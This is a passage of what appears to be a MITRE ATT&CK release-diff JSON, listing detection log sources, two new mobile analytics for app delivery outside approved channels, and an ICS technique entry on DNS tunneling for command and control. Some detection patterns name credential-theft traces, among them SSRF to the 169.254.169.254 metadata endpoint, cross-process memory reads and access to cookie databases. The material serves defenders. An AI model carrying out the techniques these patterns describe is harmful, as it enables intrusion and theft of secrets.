                            "name": "VPN:MobileProxy",
                            "channel": "DNS query or TLS SNI for previously unseen domain occurred within TimeWindow after session to legitimate web-service domain from same app identity"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Initial session to public web-service domain transferred small response payload followed by connection to new external endpoint with different ASN or domain category"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "App-attributed session to public web-service domain included inbound content retrieval followed by outbound POST, PUT, upload, comment, message send, document update, or API write to same service class within TimeWindow"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Repeated alternating inbound and outbound sessions to same public web-service domain or API endpoint occurred from same app identity with stable recurrence interval"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Outbound write operation to public web-service domain occurred after small inbound response retrieval from same domain or service class without preceding user-visible foreground activity"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "App-attributed HTTP GET, content fetch, sync pull, or inbound-oriented HTTPS session to public web-service domain recurred within TimeWindow without app-attributed POST, PUT, PATCH, upload, comment, message send, or API write to same service class"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Repeated app-attributed retrieval from same public web-service domain or API endpoint occurred at stable recurrence interval with low outbound volume relative to inbound content"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Inbound content retrieval from public web-service domain occurred without subsequent writeback to same service class and was followed by local or downstream activity outside normal app sync profile"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "TLS handshake, HTTP method/header pattern, or WebSocket upgrade was observed on destination port outside approved port set for detected protocol during app-attributed outbound session"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Repeated app-attributed sessions to same destination or service class used non-standard destination port with stable recurrence interval or persistent connection behavior"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Destination port was not in approved protocol-to-port mapping for app identity or service class and session did not match known enterprise proxy, relay, or developer tooling exception"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Observed protocol-to-port pairing was outside approved mapping for managed bundle or service class and did not match enterprise proxy, relay, or developer tooling exception"
                        },
                        {
                            "name": "WebProxy:AccessLogs",
                            "channel": "SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)"
                        },
                        {
                            "name": "webproxy:applog",
                            "channel": "DNS/HTTP(S) inspection or proxy transaction metadata where enterprise decryption/inspection is deployed"
                        },
                        {
                            "name": "WIDS:AssociationLogs",
                            "channel": "Unauthorized AP or anomalous MAC address connection attempts"
                        },
                        {
                            "name": "WinEventLog:iis",
                            "channel": "IIS Logs"
                        },
                        {
                            "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational",
                            "channel": "Unusual external domain access"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "Outbound requests with forged tokens/cookies in headers"
                        },
                        {
                            "name": "WinEventLog:System",
                            "channel": "EventCode=5005 (WLAN), EventCode=302 (Bluetooth)"
                        },
                        {
                            "name": "zeek:conn",
                            "channel": "exploit-pattern traffic to Industrial Control Systems (ICS) server/device Internet Protocol (IP) from unexpected source, followed by behavioral anomaly within a short window"
                        },
                        {
                            "name": "zeek:ssl",
                            "channel": "Transport Layer Security (TLS) Server Name Indication (SNI) or certificate issuer does not match approved vendor domains or recognized Content Delivery Network (CDN) serving vendor content"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "2.2",
                    "x_mitre_domains": [
                        "ics-attack",
                        "mobile-attack",
                        "enterprise-attack"
                    ],
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 00:15:15.935000+00:00\", \"old_value\": \"2026-10-13 17:43:41.384000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_log_sources'][0]\": {\"name\": \"VPN:MobileProxy\", \"channel\": \"Inspected application-package retrieval transaction, where authorized content inspection exposes the URL, response, or package type\"}, \"root['x_mitre_log_sources'][331]\": {\"name\": \"VPN:MobileProxy\", \"channel\": \"Inspected HTTP transaction showing APK/package retrieval, including URL, response content type, or validated payload type\"}}}",
                    "previous_version": "2.2"
                },
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.272000+00:00",
                    "modified": "2026-10-13 19:45:58.720000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0035",
                            "external_id": "DC0035"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Process Access",
                    "description": "Refers to an event where one process attempts to open another process, typically to inspect or manipulate its memory, access handles, or modify execution flow. Monitoring these access attempts can provide valuable insight into both benign and malicious behaviors, such as debugging, inter-process communication (IPC), or process injection.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n    -  EDR solutions that provide telemetry on inter-process access and memory manipulation.\n- Sysmon (Windows):\n    - Event ID 10: Captures process access attempts, including:\n        - Source process (initiator)\n        - Target process (victim)\n        - Access rights requested\n        - Process ID correlation\n- Windows Event Logs:\n    - Event ID 4656 (Audit Handle to an Object): Logs access attempts to system objects.\n    - Event ID 4690 (Attempted Process Modification): Can help identify unauthorized process changes.\n- Linux/macOS Monitoring:\n    - AuditD: Monitors process access through syscall tracing (e.g., `ptrace`, `open`, `read`, `write`).\n    - eBPF/XDP: Used for low-level monitoring of kernel process access.\n    - OSQuery: Query process access behavior via structured SQL-like logging.\n- Procmon (Process Monitor) and Debugging Tools:\n    - Windows Procmon: Captures real-time process interactions.\n    - Linux strace / ptrace: Useful for tracking process behavior at the system call level.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "android:logcat",
                            "channel": "Runtime grant or manifest presence for MANAGE_EXTERNAL_STORAGE/READ_EXTERNAL_STORAGE/READ_MEDIA_*; legacy external storage mode detection"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Activity/Process state change (mFocusedApp, onResume/onPause) identifying <pkg> as foreground"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Grant/activation of BIND_ACCESSIBILITY_SERVICE, BIND_INPUT_METHOD, SYSTEM_ALERT_WINDOW, POST_NOTIFICATIONS for <pkg>"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Grant/enablement for BIND_ACCESSIBILITY_SERVICE or BIND_INPUT_METHOD for <pkg>"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Grant/enablement of SYSTEM_ALERT_WINDOW, BIND_ACCESSIBILITY_SERVICE, POST_NOTIFICATIONS for <pkg>"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Reads/queries ops for PACKAGE_USAGE_STATS, QUERY_ALL_PACKAGES, BIND_DEVICE_ADMIN, BIND_VPN_SERVICE"
                        },
                        {
                            "name": "Apple TCC Logs",
                            "channel": "Microphone Access Events"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ptrace attach"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "High frequency of accept(), read(), or SSL_read() syscalls tied to nginx/apache processes"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ptrace"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ptrace syscall or access to /proc/*/mem"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ACCESS"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "execve, fork, mmap, ptrace"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ptrace or process_vm_readv"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "Linux Audit SYSCALL/EXECVE/SOCKADDR records (configured audit rule): syscall=ptrace/process_vm_readv; process accesses an ICS service process PID from an image or UID not in the debugger/diagnostic allowlist"
                        },
                        {
                            "name": "EDR:telemetry",
                            "channel": "Sustained or high-frequency location sensor access, including background location usage"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Code signing validation events referencing newly written local Mach-O/bundle prior to exec or dlopen"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Privacy (TCC) prompts/grants for Photos/Files or access changes indicating new visibility into user/app data"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Foreground/background transition for <bundle_id> to contextualize access timing"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Keyboard extension Full Access change; privacy grant touching input/keyboard categories for <bundle_id>"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Keyboard extension Full Access change or related privacy grant for <bundle_id>"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Scene/foreground transitions for <bundle_id> to contextualize timing"
                        },
                        {
                            "name": "linux:osquery",
                            "channel": "Process State"
                        },
                        {
                            "name": "linux:osquery",
                            "channel": "process_events"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "syscalls (open, read, ioctl) on /dev/input or /proc/*/fd/*"
                        },
                        {
                            "name": "macos:endpointsecurity",
                            "channel": "ES_EVENT_TYPE_NOTIFY_OPEN"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "process_open"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "unexpected memory inspection"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "ptrace or task_for_pid"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Unexpected NSXPCConnection calls by non-Apple-signed or abnormal binaries"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Unusual Mach port registration or access attempts between unrelated processes"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "subsystem=com.apple.security, library=libsystem_kernel.dylib"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "vm_read, task_for_pid, or file open to cookie databases"
                        },
                        {
                            "name": "mobile:DynamicAnalysis",
                            "channel": "Dynamic API/runtime trace: accessibility_service or notification_listener appears attributed to a bundle IN $LegitimateSystemProcesses$ within $InjectionWindow$ of root detection \u2014 injected code requesting special permissions under a legitimate system process identit"
                        },
                        {
                            "name": "mobile:DynamicAnalysis",
                            "channel": "Dynamic API/runtime trace: kernel log entry at level=fault referencing task_for_pid or get-task-allow violation on SUPERVISED device with Unified Log forwarding \u2014 kernel records entitlement violations at fault level; requires supervised MDM with Unified Log export"
                        },
                        {
                            "name": "mobile:DynamicAnalysis",
                            "channel": "Dynamic API/runtime trace: process in $TargetProcessList$ shows unexpected behavior change (new network destinations, new permission accesses) within $InjectionWindow$ of root status change \u2014 behavioral delta in target process post-injection is the anomaly indicator"
                        },
                        {
                            "name": "mobile:DynamicAnalysis",
                            "channel": "Dynamic API/runtime trace: kernel log at level=fault referencing task_for_pid, mach_vm_write, or get-task-allow outside developer build on SUPERVISED device \u2014 Apple Unified Log kernel subsystem records these violations at fault level; supervised MDM with Unified Log"
                        },
                        {
                            "name": "WinEventLog:Security",
                            "channel": "EventCode=4663, 4670, 4656"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=10"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=25"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=10 where SourceImage outside the approved ICS vendor/process baseline accesses TargetImage associated with an ICS application or service"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=10 cross-process memory access into Industrial Control Systems (ICS) vendor process from image not in trusted security tool list, followed by unexpected termination within exploit crash correlation window"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "3.0",
                    "x_mitre_domains": [
                        "enterprise-attack",
                        "mobile-attack",
                        "ics-attack"
                    ],
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-10-13 19:45:58.720000+00:00\", \"old_value\": \"2026-10-13 17:43:48.812000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_domains'][2]\": \"ics-attack\"}}",
                    "previous_version": "3.0"
                },
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2023-03-13 20:48:14.540000+00:00",
                    "modified": "2026-11-03 00:07:13.833000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0118",
                            "external_id": "DC0118"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "System Settings",
                    "description": "System Settings represent user-visible or OS-level configuration settings that influence device behavior, application permissions, connectivity, or system features.\n\nMonitoring system settings changes allows defenders to detect abnormal modifications that may indicate malicious activity or device compromise.\n\n\nCollection Methods\n\n- MDM device telemetry\n- Mobile EDR monitoring\n- OS configuration monitoring\n",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "android:DevicePolicyManager",
                            "channel": "Managed security state and policy information, including supported installation-related settings"
                        },
                        {
                            "name": "android:DevicePolicyManager",
                            "channel": "DevicePolicyManager policy/compliance/security-state queries and SecurityLog events where supported"
                        },
                        {
                            "name": "android:MDMLog",
                            "channel": "device USB mode change (charging to file transfer / debugging / accessory)"
                        },
                        {
                            "name": "android:MDMLog",
                            "channel": "Application or service remains active, foregrounds, or overlays during device locked state or immediately at unlock transition with weak recent user interaction context"
                        },
                        {
                            "name": "android:MDMLog",
                            "channel": "No user-initiated airplane mode, radio disablement, or managed network setting change occurred during repeated connectivity degradation"
                        },
                        {
                            "name": "iOS:MDM",
                            "channel": "DeviceInformation / SecurityInfo / ProfileList / restrictions and compliance queries"
                        },
                        {
                            "name": "iOS:MDMLog",
                            "channel": "Trusted computer / host relationship established or relevant device trust setting changed"
                        },
                        {
                            "name": "iOS:MDMLog",
                            "channel": "No user-initiated airplane mode or radio-related setting change occurred while applications experience repeated network unavailability"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Settings.Secure/Global write to install_unknown_apps=1 by process NOT IN MDMAgentPackageList + PackageInstaller call with unknown cert within TimeWindow where MDM agent is the only authorized settings writer"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Microphone sensor activation or audio recording session initiated by application process"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application transitions to background or executes while screen locked during microphone session"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Cellular service state transitions (in-service\u2192no-service), SIM state change, carrier/operator identifier change, or baseband/telephony stack state change observed by agent telemetry"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application remains backgrounded while accessibility service continues to receive events or perform actions across other foreground apps"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Camera sensor access began from app identity and remained active for sustained capture interval in app context not mapped to approved video recording workflow"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Camera sensor access occurred while AppState=background, foreground service active without visible user action, or DeviceLockState=locked during capture interval"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Foreground service continues accessing camera, microphone, location, or other while-in-use sensors after service promotion and outside recent user interaction"
                        },
                        {
                            "name": "User Interface",
                            "channel": "None"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "2.2",
                    "x_mitre_domains": [
                        "mobile-attack"
                    ],
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 00:07:13.833000+00:00\", \"old_value\": \"2026-10-13 17:40:42.444000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_log_sources'][0]\": {\"name\": \"android:DevicePolicyManager\", \"channel\": \"Managed security state and policy information, including supported installation-related settings\"}}}",
                    "previous_version": "2.2"
                }
            ],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "detectionstrategies": {
            "additions": [
                {
                    "type": "x-mitre-detection-strategy",
                    "id": "x-mitre-detection-strategy--a7c7d272-f237-4ff3-a706-bcdc2c8ca484",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-11-02 23:59:17.814000+00:00",
                    "modified": "2026-11-03 00:21:10.476000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/detectionstrategies/DET0940",
                            "external_id": "DET0940"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Detection of Mobile Application Delivery Outside Authorized Distribution Channels",
                    "x_mitre_analytic_refs": [
                        "x-mitre-analytic--5377aa84-80d9-4256-9943-3cea813a3d5a",
                        "x-mitre-analytic--a5e4aa0c-effa-4cc6-bd05-41bfe0f57b91"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "mobile-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.0"
                }
            ],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "analytics": {
            "additions": [
                {
                    "type": "x-mitre-analytic",
                    "id": "x-mitre-analytic--5377aa84-80d9-4256-9943-3cea813a3d5a",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-11-03 00:10:02.152000+00:00",
                    "modified": "2026-11-03 00:21:09.293000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/detectionstrategies/DET0940#AN2290",
                            "external_id": "AN2290"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Analytic 2290",
                    "description": "On managed Android devices with the necessary network and security telemetry enabled, identify an application package retrieved through a browser, messaging application, third-party store, or another external delivery mechanism. Correlate the package retrieval with a subsequent installation event on the same device, using package identity, delivery source, timing, and installer provenance where available.\n\nPrioritize cases where the delivery source is outside approved distribution channels, the installer is inconsistent with authorized workflows, and the application is not approved for the device or user. Exclude sanctioned enterprise deployments, approved testing, and documented alternative distribution channels.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "mobile-attack"
                    ],
                    "x_mitre_log_source_references": [
                        {
                            "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0",
                            "name": "android:EnterpriseNetworkLog",
                            "channel": "DevicePolicyManager.retrieveNetworkLogs(): DnsEvent / ConnectEvent; VPN flow metadata"
                        },
                        {
                            "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                            "name": "VPN:MobileProxy",
                            "channel": "Inspected HTTP transaction showing APK/package retrieval, including URL, response content type, or validated payload type"
                        },
                        {
                            "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                            "name": "MobileEDR:telemetry",
                            "channel": "Monitored creation of an APK or application-package staging artifact following external retrieval"
                        },
                        {
                            "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6",
                            "name": "android:DevicePolicyManager",
                            "channel": "Managed security state and policy information, including supported installation-related settings"
                        },
                        {
                            "x_mitre_data_component_ref": "x-mitre-data-component--55c669d9-b42a-4cf6-a38a-07161b228ce9",
                            "name": "android:EMM",
                            "channel": "Managed package inventory/status and package metadata"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_mutable_elements": [
                        {
                            "field": "ApprovedDistributionSources",
                            "description": "Authorized application stores, enterprise distribution services, and approved third-party application repositories."
                        },
                        {
                            "field": "ApprovedInstallerPackages",
                            "description": "Package identifiers of trusted applications permitted to initiate package installation, including approved stores and enterprise deployment agents."
                        },
                        {
                            "field": "ApprovedApplicationPackages",
                            "description": "Application package identifiers authorized for installation on managed devices."
                        },
                        {
                            "field": "ApprovedDeliveryDomains",
                            "description": "Domains and endpoints permitted to distribute APK files or other supported Android application packages."
                        },
                        {
                            "field": "DeliveryCorrelationWindow",
                            "description": "Maximum time between an observed package download or delivery event and a corresponding installation event."
                        },
                        {
                            "field": "PackageIdentityMatchRequired",
                            "description": "Whether delivery-to-installation correlation requires matching package identifiers, hashes, or other available package attributes."
                        },
                        {
                            "field": "AllowedInstallSourceTypes",
                            "description": "Permitted installation-source classifications, where the Android version and collection mechanism expose them."
                        },
                        {
                            "field": "ApprovedSigningCertificates",
                            "description": "Trusted signing-certificate fingerprints used to distinguish authorized application packages from unexpected or modified packages."
                        },
                        {
                            "field": "AllowedInstallationExceptions",
                            "description": "Documented exceptions for enterprise sideloading, developer testing, device provisioning, and approved alternative distribution workflows."
                        },
                        {
                            "field": "MonitoredDeliveryChannels",
                            "description": "Browser downloads, messaging applications, email attachments, third-party stores, and other delivery mechanisms covered by available telemetry."
                        },
                        {
                            "field": "MinimumDeliveryEvidence",
                            "description": "Required evidence to establish package delivery, such as a validated APK retrieval, observed package-file creation, or equivalent artifact."
                        },
                        {
                            "field": "MinimumCorrelationConfidence",
                            "description": "Minimum combination of package identity, installer provenance, device identity, and timing required to associate delivery with installation."
                        }
                    ],
                    "x_mitre_platforms": [
                        "Android"
                    ],
                    "x_mitre_version": "1.0"
                },
                {
                    "type": "x-mitre-analytic",
                    "id": "x-mitre-analytic--a5e4aa0c-effa-4cc6-bd05-41bfe0f57b91",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-11-03 00:20:35.086000+00:00",
                    "modified": "2026-11-03 00:21:09.294000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/detectionstrategies/DET0940#AN2291",
                            "external_id": "AN2291"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Analytic 2291",
                    "description": "On managed iOS devices, identify observable delivery of an application package or distribution link through an external website, messaging channel, or other non-approved distribution mechanism.\n\nWhere managed network inspection exposes the transaction, identify application-package retrieval or a distribution workflow outside the organization's approved channels. Correlate this with an application newly appearing in device inventory or with a managed-app lifecycle change, using bundle identifier, distribution attributes, and timing where available.\n\nPrioritize cases where the distribution evidence is independently observed and inconsistent with authorized enterprise distribution, alternative marketplaces, or approved testing workflows.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "mobile-attack"
                    ],
                    "x_mitre_log_source_references": [
                        {
                            "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0",
                            "name": "iOS:NetworkExtension",
                            "channel": "NEFilterFlow, per-app VPN, or secure web gateway flow metadata"
                        },
                        {
                            "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                            "name": "VPN:MobileProxy",
                            "channel": "Inspected application-package retrieval transaction, where authorized content inspection exposes the URL, response, or package type"
                        },
                        {
                            "x_mitre_data_component_ref": "x-mitre-data-component--55c669d9-b42a-4cf6-a38a-07161b228ce9",
                            "name": "iOS:MDM",
                            "channel": "Declarative Management app.managed.list status changes, where collected"
                        },
                        {
                            "x_mitre_data_component_ref": "x-mitre-data-component--55c669d9-b42a-4cf6-a38a-07161b228ce9",
                            "name": "iOS:MDM",
                            "channel": "InstalledApplicationList / ManagedApplicationList"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_mutable_elements": [
                        {
                            "field": "ApprovedDistributionSources",
                            "description": "Authorized App Store distribution, enterprise application distribution, and permitted alternative distribution mechanisms applicable to the device and region."
                        },
                        {
                            "field": "ApprovedApplicationBundleIDs",
                            "description": "Bundle identifiers of applications authorized for the managed device or organizational role."
                        },
                        {
                            "field": "ApprovedDistributionDomains",
                            "description": "Domains and endpoints permitted to distribute application packages, installation manifests, or other application-delivery artifacts."
                        },
                        {
                            "field": "ApprovedEnterpriseDevelopers",
                            "description": "Authorized enterprise signing identities and development teams, where signing provenance is available to the collection source."
                        },
                        {
                            "field": "ApprovedAlternativeMarketplaces",
                            "description": "Authorized alternative application marketplaces, where supported by the device's OS version and jurisdiction."
                        },
                        {
                            "field": "MonitoredDeliveryChannels",
                            "description": "Email, messaging, web browsing, managed network inspection, and enterprise distribution workflows with available delivery telemetry."
                        },
                        {
                            "field": "DistributionArtifactTypes",
                            "description": "Application packages, installation manifests, marketplace distribution links, and other supported delivery artifacts that the analytic can reliably identify."
                        },
                        {
                            "field": "DeliveryCorrelationWindow",
                            "description": "Maximum interval between observed application-delivery activity and a related application-state change."
                        },
                        {
                            "field": "InventoryObservationInterval",
                            "description": "Expected interval between managed-device application inventory observations, accounting for polling and reporting delays."
                        },
                        {
                            "field": "ManagedApplicationStatusTypes",
                            "description": "Managed-app lifecycle states or status changes used to establish application installation or deployment outcomes."
                        },
                        {
                            "field": "AllowedDistributionExceptions",
                            "description": "Approved enterprise deployments, development builds, TestFlight testing, regional alternative distribution, and other sanctioned workflows."
                        },
                        {
                            "field": "MinimumDeliveryEvidence",
                            "description": "Required network or distribution evidence to establish that an application was delivered through a particular mechanism."
                        },
                        {
                            "field": "MinimumCorrelationConfidence",
                            "description": "Minimum combination of bundle identity, distribution evidence, device identity, and timing required to correlate delivery with an observed application-state change."
                        }
                    ],
                    "x_mitre_platforms": [
                        "iOS"
                    ],
                    "x_mitre_version": "1.0"
                }
            ],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        }
    },
    "ics-attack": {
        "techniques": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--1aa2bf29-6015-4c8f-a15a-21ae0aff64de",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-09-26 02:55:07.994000+00:00",
                    "modified": "2026-10-15 22:30:56.135000+00:00",
                    "name": "DNS",
                    "description": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling)\n\nDNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. Protocol Tunneling). The commands may be embedded into different DNS records, for example, TXT or A records.(Citation: OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government)\n DNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices.(Citation: DNS Beacons) Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.\n\nAdversaries may also use DNS over TLS (DoT) or HTTPS (DoH) for resolving C2 servers. This encrypts the DNS requests and allows the malware to lookup C2 servers without being detected by security systems (e.g., DNS filtering based on indicators of compromise). \n",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-ics-attack",
                            "phase_name": "command-and-control"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T0869/001",
                            "external_id": "T0869.001"
                        },
                        {
                            "source_name": "Medium DnsTunneling",
                            "description": "Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020.",
                            "url": "https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000"
                        },
                        {
                            "source_name": "OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government",
                            "description": "Kyle Wilhoit, Robert Falcone. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved July 21, 2025.",
                            "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/"
                        },
                        {
                            "source_name": "PAN DNS Tunneling",
                            "description": "Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020.",
                            "url": "https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling"
                        },
                        {
                            "source_name": "DNS Beacons",
                            "description": "Vercara. (n.d.). Retrieved July 21, 2025.",
                            "url": "https://vercara.digicert.com/resources/dns-beacons#page_top"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Yokogawa (Thailand & IT/OT SOC)"
                    ],
